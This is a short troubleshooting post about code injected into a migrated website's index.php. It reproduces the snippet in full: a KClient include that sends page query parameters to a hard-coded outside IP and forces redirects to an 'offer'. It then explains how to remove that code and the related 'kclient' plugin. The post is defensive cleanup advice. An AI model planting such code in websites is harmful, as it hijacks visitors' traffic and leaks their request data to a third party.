**Non-WordPress website: ** It is a frequent problem when you migrate a website from one server to other. Sometimes the issue comes in the beginning and sometimes it comes after a few weeks. Sounds crazy but yes it comes automatically after few weeks.

It's simple to remove the error. For me it's in laravel framework.

In the root directory go to index.php file and at the top or anywhere in the code you will field the following set of code.

<?php
Query params are:  

require_once dirname(__FILE__) . '/kclient.php';
$client = new KClient('http://45.141.84.241/api.php?', 'Rgx8wp27X2rNJ26W');
$client->sendAllParams();       // to send all params from page query
$client->forceRedirectOffer();       // redirect to offer if an offer is chosen
$client->param('sub_id_5', '123'); // you can send any params
$client->keyword('PASTE_KEYWORD');  // send custom keyword
$client->currentPageAsReferrer(); // to send current page URL as click referrer
$client->debug();              // to enable debug mode and show the errors
$client->execute();             // request to api, show the output and continue
$client->executeAndBreak();     // to stop page execution if there is redirect or some output
 ?>
<?php

You must comment the set of code first. After that check whether your website is working properly or not, if it's working fine then remove the code and you are good to go. As per my knowledge once you remove it the error never comes back.

**Solution for WordPress Website: **

Try contacting your hosting provider, there will be a plugin called kclient which is creating this error, your hosting provider will delete the plugin or ask them to delete the plugin.